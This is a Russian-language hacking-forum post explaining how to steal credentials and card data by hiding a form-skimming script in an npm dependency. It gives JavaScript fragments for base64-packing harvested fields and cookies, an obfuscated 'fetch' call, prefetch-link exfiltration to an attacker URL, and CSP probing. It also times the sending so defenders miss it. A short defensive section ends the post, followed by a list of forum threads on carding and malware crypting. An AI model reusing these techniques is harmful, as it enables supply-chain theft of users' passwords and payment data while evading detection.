Интересно Как могут украсть ваши «учётки» через npm-пакет

Uno-uno

Original poster
Pro Member
Сообщения
139
Реакции
100
Посетить сайт
1-32.jpg




Кража паролей лишит вас доступа к своей странице или может оставить без кругленькой суммы – вот оно, счастье злоумышленника.

Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.
Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет. Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:

любая форма для ввода;

Элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.

Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.

Из каждого поля формы извлекаем информацию (document.forms.forEach(…) );

собираем «печеньки»: document.cookie;

все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData));

а после, отправляется на промежуточный хост:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



и в случае наличия полезностей – отправляется на сервер хакера.

Перевернем мир
Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.

Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.
Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.

Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.
Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.

Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.

Код:

Код:
const i = ‘gfudi‘;
const k = s => s.split(‘‘).map(c => String.fromCharCode(c.charCodeAt() - 1)).join(‘‘)
self[k(i)](urlWithYourPreciousData);

«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.

Код:

Код:
const linkEl = document.createElement(‘link‘);
linkEl.rel = ‘prefetch‘;
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:

Код:

Код:
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get(‘Content-Security-Policy‘);

// Смотрим, как работает CSP });

Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.

Куда теперь бежать?

Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнете!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами.

Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.

Заключение
Никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе.
 
Название темы
Автор Заголовок Раздел Ответы Дата
E Как с вашей карты могут легко украсть деньги Уязвимости и взлом 2
cyber23 Как вас могут вычислить даже при условии использования Tor Browser. Анонимность и приватность 0
Walalusur Слив [Blackhatworld] Как Зарабатывать Деньги С Youtube И Content Locker (2021) Способы заработка 0
D Как из обычного шнура сделать шнур juice jacking? Уязвимости и взлом 5
D Как взломать телефон с помощью зарядки juice jacking? Уязвимости и взлом 2
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
Walalusur [Алексей Лунин] Как зарабатывать 30000-45000 на продажах партнерских товаров в яндекс директе (2021) Способы заработка 0
M Как получить кредит с США? Вопросы и интересы 1
S Интересно Как зарабатывать на Mobile Rewards. Фея с подарками. Способы заработка 0
kirick7 Как защититься от фишинга? Вопросы и интересы 9
Antonka_1000 Как в торрент трекеры подсунуть уже закриптованный вирус??? Вопросы и интересы 1
H Как заказать билинг? Свободное общение и флейм 5
brigabos Как заряжать ноутбук от повербенк Свободное общение и флейм 2
brigabos Как экономить на Яндекс.Директ, Google Ads и соц. сетях. Кешбеки и купоны. Другое 0
E Как сменить устройство на Tide? Вопросы и интересы 0
M Как криптовать ратник с docx Вопросы и интересы 4
Khan Интересно Как находить точки входа в рынок криптовалют при помощи ончейн-инструментов Полезные статьи 10
Khan Интересно Как распределяется богатство в сети биткоина Полезные статьи 0
UnderD0g Авторская статья - Как легко снять ConfuserEx Полезные статьи 0
Admin Интересно Как деанонят Telegram Анонимность и приватность 8
Gumanoid Интересно Как изменить голос в Telegram Полезные статьи 1
A Как зарабатывать от 10$ на просмотре почты!!! Способы заработка 9
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
H Как установить macOS на USB-накопитель Полезные статьи 0
H Как взламывают IP- и веб-камеры и как от этого защититься Уязвимости и взлом 0
H Как 30 строк кода взорвали 27-тонный генератор Новости в сети 0
H Как просканировать любое устройство на уязвимости? Уязвимости и взлом 1
H Как скрывают вирусы в документах Office Корзина 0
H Как установить macOS на USB-накопитель Корзина 0
Admin Интересно Как правильно шифровать диски VeraCrypt'ом Настройка системы для работы 1
Admin Как узнать местоположение человека по фото [ANDROID] Анонимность и приватность 10
D Интересно Как бесплатно получить Proton VPN навсегда Другое 6
Wh1t3_F0x Как взламывают IP- и веб-камеры и как от этого защититься Уязвимости и взлом 4
Anorali Интересно Этичный хакер. Как стать хакером с белой шляпой? Полезные статьи 0
darkweb_telator Как взломать вай-фай(wep,wpa,wpa2,wps) Уязвимости и взлом 1
Р Как получить статус QIWI кошелька "основной" Раздача сс, ба и всего что связано с кардингом 0
Kot507 Как взломать rar. Архив Вопросы и интересы 5
K Куплю Как взломать бота телеграм Все что не подошло по разделу 1
S Как защитить сайт от DDos Атак? Вопросы и интересы 2
Denik Интересно Как создать вредоносный PDF файл? Уязвимости и взлом 5
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
Anorali Интересно Как использовать Xploitspy для взлома телефонов Android? Полезные статьи 6
Chomba Как лить на 100-500$ прибыли в сутки с Facebook на мобильные приложения (2020) Спам, рассылки, трафик, SEO 2
Denik Как заработать более $ 1000 в месяц со взрослых веб-сайтов Способы заработка 4
CMDfromBAT Интересно Как стать подростком хакером - комментарии от хаЦкера Свободное общение и флейм 27
Denik Интересно Как активировать WinRAR Бесплатно Другое 4
Chomba Как продавать на авито (2020) Обучения, схемы, мануалы 0
yumpa Как работать с двумя провайдерами и больше Полезные статьи 0
CMDfromBAT Как понять интересен ли я хакеру? - комменты от хаЦкера Свободное общение и флейм 5
Denik Интересно Как взломать пароли с помощью флэшки Уязвимости и взлом 3

Название темы